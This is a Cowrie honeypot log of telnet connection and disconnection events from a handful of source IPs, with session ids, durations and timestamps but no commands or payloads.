{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":34164,"dst_ip":"10.17.0.5","dst_port":23,"session":"eedad914f78c","protocol":"telnet","message":"New connection: 157.230.123.106:34164 (10.17.0.5:23) [session: eedad914f78c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:28.327136Z"}
{"eventid":"cowrie.session.closed","duration":30.90006375312805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:28.354707Z","src_ip":"31.186.173.44","session":"82ecd50ef8ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":33946,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a6b1bd5500b","protocol":"telnet","message":"New connection: 157.230.123.106:33946 (10.17.0.5:23) [session: 2a6b1bd5500b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:29.050013Z"}
{"eventid":"cowrie.session.closed","duration":37.28846836090088,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:29.334521Z","src_ip":"45.63.42.31","session":"0e7bd85089e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.538251638412476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:29.807353Z","src_ip":"31.186.173.44","session":"dd344faeef81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.8404324054718,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:32.665740Z","src_ip":"157.230.123.106","session":"d110d2eb5c51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.55890440940857,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:38.189734Z","src_ip":"157.230.123.106","session":"31dd241bce50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.399062156677246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:43.075752Z","src_ip":"31.186.173.44","session":"7edbb4e40533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.235273838043213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:44.868447Z","src_ip":"157.230.123.106","session":"bcd36f85d312","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.636629104614258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:45.184782Z","src_ip":"157.230.123.106","session":"1a0c14656ff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.190.33.74","src_port":50383,"dst_ip":"159.203.135.109","dst_port":23,"session":"5261b19bc353","protocol":"telnet","message":"New connection: 196.190.33.74:50383 (159.203.135.109:23) [session: 5261b19bc353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:45.602425Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":52796,"dst_ip":"10.17.0.5","dst_port":23,"session":"a71183a0fe29","protocol":"telnet","message":"New connection: 31.186.173.44:52796 (10.17.0.5:23) [session: a71183a0fe29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:45.627703Z"}
{"eventid":"cowrie.session.closed","duration":30.635952711105347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:45.950487Z","src_ip":"31.186.173.44","session":"500dc8db4ed0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.184905767440796,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:47.065325Z","src_ip":"157.230.123.106","session":"f110d7e156b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.47335648536682,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:47.609754Z","src_ip":"157.230.123.106","session":"ed901b1e6099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.304306507110596,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:47.911467Z","src_ip":"157.230.123.106","session":"c88585be01a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":37834,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b8532fdbada","protocol":"telnet","message":"New connection: 157.230.123.106:37834 (10.17.0.5:23) [session: 1b8532fdbada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:49.835072Z"}
{"eventid":"cowrie.session.closed","duration":31.679957389831543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:50.702093Z","src_ip":"157.230.123.106","session":"b3d67b3c3edf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.287047863006592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:50.778602Z","src_ip":"31.186.173.44","session":"a05ab30b1a1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":38220,"dst_ip":"10.17.0.5","dst_port":23,"session":"657a238b0b29","protocol":"telnet","message":"New connection: 157.230.123.106:38220 (10.17.0.5:23) [session: 657a238b0b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:51.136651Z"}
{"eventid":"cowrie.session.closed","duration":35.436572551727295,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:51.168588Z","src_ip":"157.230.123.106","session":"bb8d73963af1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":55269,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ea28c2e3489","protocol":"telnet","message":"New connection: 31.186.173.44:55269 (10.17.0.5:23) [session: 1ea28c2e3489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:52.023520Z"}
{"eventid":"cowrie.session.closed","duration":30.47439742088318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:52.763364Z","src_ip":"31.186.173.44","session":"10d745232a43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":52182,"dst_ip":"10.17.0.5","dst_port":23,"session":"27aee4376aa0","protocol":"telnet","message":"New connection: 45.63.42.31:52182 (10.17.0.5:23) [session: 27aee4376aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:55.426175Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":39214,"dst_ip":"10.17.0.5","dst_port":23,"session":"695d02e99f48","protocol":"telnet","message":"New connection: 157.230.123.106:39214 (10.17.0.5:23) [session: 695d02e99f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:58.863760Z"}
{"eventid":"cowrie.session.closed","duration":31.255454301834106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:59.582450Z","src_ip":"157.230.123.106","session":"eedad914f78c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.039863348007202,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:00.642169Z","src_ip":"196.190.33.74","session":"5261b19bc353","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.598195552825928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:00.648062Z","src_ip":"157.230.123.106","session":"2a6b1bd5500b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":34192,"dst_ip":"10.17.0.5","dst_port":23,"session":"cedfa0a30d9f","protocol":"telnet","message":"New connection: 157.230.123.106:34192 (10.17.0.5:23) [session: cedfa0a30d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:08.023799Z"}
{"eventid":"cowrie.session.closed","duration":0.005138397216796875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:08.028808Z","src_ip":"157.230.123.106","session":"cedfa0a30d9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31804394721985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:15.945467Z","src_ip":"31.186.173.44","session":"a71183a0fe29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":43390,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b03468d7a89","protocol":"telnet","message":"New connection: 157.230.123.106:43390 (10.17.0.5:23) [session: 0b03468d7a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:20.880324Z"}
{"eventid":"cowrie.session.closed","duration":30.781136989593506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:22.804524Z","src_ip":"31.186.173.44","session":"1ea28c2e3489","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.878886222839355,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:25.015461Z","src_ip":"157.230.123.106","session":"657a238b0b29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.692378520965576,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:27.527325Z","src_ip":"157.230.123.106","session":"1b8532fdbada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":74.47090482711792,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:31.257859Z","src_ip":"157.230.123.106","session":"9e074169490f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.659050703048706,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:32.085084Z","src_ip":"45.63.42.31","session":"27aee4376aa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":42542,"dst_ip":"10.17.0.5","dst_port":23,"session":"f487aa49026f","protocol":"telnet","message":"New connection: 45.63.42.31:42542 (10.17.0.5:23) [session: f487aa49026f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:34.817181Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":46934,"dst_ip":"10.17.0.5","dst_port":23,"session":"87413f2ee794","protocol":"telnet","message":"New connection: 157.230.123.106:46934 (10.17.0.5:23) [session: 87413f2ee794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:39.730241Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":47048,"dst_ip":"10.17.0.5","dst_port":23,"session":"284e4bdcf0bc","protocol":"telnet","message":"New connection: 157.230.123.106:47048 (10.17.0.5:23) [session: 284e4bdcf0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:40.222172Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":48800,"dst_ip":"10.17.0.5","dst_port":23,"session":"e411f27d2a27","protocol":"telnet","message":"New connection: 103.115.172.252:48800 (10.17.0.5:23) [session: e411f27d2a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:40.247038Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53128,"dst_ip":"10.17.0.5","dst_port":23,"session":"f768f741692a","protocol":"telnet","message":"New connection: 45.63.42.31:53128 (10.17.0.5:23) [session: f768f741692a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:40.406784Z"}
{"eventid":"cowrie.session.closed","duration":42.00121831893921,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:40.864873Z","src_ip":"157.230.123.106","session":"695d02e99f48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38152,"dst_ip":"10.17.0.5","dst_port":23,"session":"71feffdd633a","protocol":"telnet","message":"New connection: 45.63.42.31:38152 (10.17.0.5:23) [session: 71feffdd633a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:47.503433Z"}
{"eventid":"cowrie.session.closed","duration":30.32592487335205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:51.206062Z","src_ip":"157.230.123.106","session":"0b03468d7a89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":52560,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c402ce18fdd","protocol":"telnet","message":"New connection: 103.115.172.252:52560 (10.17.0.5:23) [session: 4c402ce18fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:58.467568Z"}
{"eventid":"cowrie.session.closed","duration":0.005584239959716797,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:58.473005Z","src_ip":"103.115.172.252","session":"4c402ce18fdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":50578,"dst_ip":"10.17.0.5","dst_port":23,"session":"e042d7eb818e","protocol":"telnet","message":"New connection: 157.230.123.106:50578 (10.17.0.5:23) [session: e042d7eb818e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:11:59.185517Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":60554,"dst_ip":"10.17.0.5","dst_port":23,"session":"a18436496033","protocol":"telnet","message":"New connection: 45.63.42.31:60554 (10.17.0.5:23) [session: a18436496033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:02.018234Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":36684,"dst_ip":"10.17.0.5","dst_port":23,"session":"15c0c8bb4428","protocol":"telnet","message":"New connection: 45.63.42.31:36684 (10.17.0.5:23) [session: 15c0c8bb4428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:02.390414Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":51956,"dst_ip":"10.17.0.5","dst_port":23,"session":"87cdbeef6321","protocol":"telnet","message":"New connection: 157.230.123.106:51956 (10.17.0.5:23) [session: 87cdbeef6321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:03.861868Z"}
{"eventid":"cowrie.session.closed","duration":34.78942918777466,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:09.606502Z","src_ip":"45.63.42.31","session":"f487aa49026f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.010497331619263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:10.740496Z","src_ip":"157.230.123.106","session":"87413f2ee794","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":53332,"dst_ip":"10.17.0.5","dst_port":23,"session":"e364798977f5","protocol":"telnet","message":"New connection: 157.230.123.106:53332 (10.17.0.5:23) [session: e364798977f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:12.202953Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":53558,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f6aef4fac82","protocol":"telnet","message":"New connection: 157.230.123.106:53558 (10.17.0.5:23) [session: 6f6aef4fac82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:12.493527Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":53680,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb468002df59","protocol":"telnet","message":"New connection: 157.230.123.106:53680 (10.17.0.5:23) [session: cb468002df59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:14.353500Z"}
{"eventid":"cowrie.session.closed","duration":37.8335657119751,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:18.240208Z","src_ip":"45.63.42.31","session":"f768f741692a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":54248,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e6f3869f4ea","protocol":"telnet","message":"New connection: 157.230.123.106:54248 (10.17.0.5:23) [session: 2e6f3869f4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:19.332089Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":54744,"dst_ip":"10.17.0.5","dst_port":23,"session":"457fcd185181","protocol":"telnet","message":"New connection: 157.230.123.106:54744 (10.17.0.5:23) [session: 457fcd185181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:19.713763Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":33432,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5c62d3d0063","protocol":"telnet","message":"New connection: 103.115.172.252:33432 (10.17.0.5:23) [session: a5c62d3d0063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:20.867257Z"}
{"eventid":"cowrie.session.closed","duration":42.549574851989746,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:22.796507Z","src_ip":"103.115.172.252","session":"e411f27d2a27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":55596,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b78bc8c6cdf","protocol":"telnet","message":"New connection: 157.230.123.106:55596 (10.17.0.5:23) [session: 0b78bc8c6cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:23.590269Z"}
{"eventid":"cowrie.session.closed","duration":36.37920904159546,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:23.882561Z","src_ip":"45.63.42.31","session":"71feffdd633a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.95552682876587,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:25.177587Z","src_ip":"157.230.123.106","session":"284e4bdcf0bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":56472,"dst_ip":"10.17.0.5","dst_port":23,"session":"0036c9ea8b1f","protocol":"telnet","message":"New connection: 157.230.123.106:56472 (10.17.0.5:23) [session: 0036c9ea8b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:28.454927Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":57058,"dst_ip":"10.17.0.5","dst_port":23,"session":"da68ba336c90","protocol":"telnet","message":"New connection: 157.230.123.106:57058 (10.17.0.5:23) [session: da68ba336c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:31.580929Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":56702,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea7d30811490","protocol":"telnet","message":"New connection: 157.230.123.106:56702 (10.17.0.5:23) [session: ea7d30811490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:32.578995Z"}
{"eventid":"cowrie.session.closed","duration":33.063122272491455,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:35.453401Z","src_ip":"45.63.42.31","session":"15c0c8bb4428","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.18143677711487,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:36.199556Z","src_ip":"45.63.42.31","session":"a18436496033","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.559937477111816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:43.762791Z","src_ip":"157.230.123.106","session":"e364798977f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48279309272766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:43.976210Z","src_ip":"157.230.123.106","session":"6f6aef4fac82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":43678,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f407c6769aa","protocol":"telnet","message":"New connection: 103.115.172.252:43678 (10.17.0.5:23) [session: 8f407c6769aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:44.890589Z"}
{"eventid":"cowrie.session.closed","duration":41.95661950111389,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:45.818368Z","src_ip":"157.230.123.106","session":"87cdbeef6321","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.598896026611328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:45.952276Z","src_ip":"157.230.123.106","session":"cb468002df59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":45982,"dst_ip":"10.17.0.5","dst_port":23,"session":"e429cb67d347","protocol":"telnet","message":"New connection: 103.115.172.252:45982 (10.17.0.5:23) [session: e429cb67d347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:49.714435Z"}
{"eventid":"cowrie.session.closed","duration":30.749572038650513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:50.463216Z","src_ip":"157.230.123.106","session":"457fcd185181","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":60668,"dst_ip":"10.17.0.5","dst_port":23,"session":"58113898b273","protocol":"telnet","message":"New connection: 157.230.123.106:60668 (10.17.0.5:23) [session: 58113898b273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:53.500677Z"}
{"eventid":"cowrie.session.closed","duration":30.45319366455078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:54.043326Z","src_ip":"157.230.123.106","session":"0b78bc8c6cdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.10482144355774,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:12:55.971989Z","src_ip":"103.115.172.252","session":"a5c62d3d0063","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.786985635757446,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:02.972432Z","src_ip":"157.230.123.106","session":"e042d7eb818e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38884,"dst_ip":"10.17.0.5","dst_port":23,"session":"24d34707c658","protocol":"telnet","message":"New connection: 45.63.42.31:38884 (10.17.0.5:23) [session: 24d34707c658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:03.820132Z"}
{"eventid":"cowrie.session.closed","duration":31.41230344772339,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:03.991201Z","src_ip":"157.230.123.106","session":"ea7d30811490","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.15743350982666,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:13:07.612292Z","src_ip":"157.230.123.106","session":"0036c9ea8b1f","protocol":"telnet"}
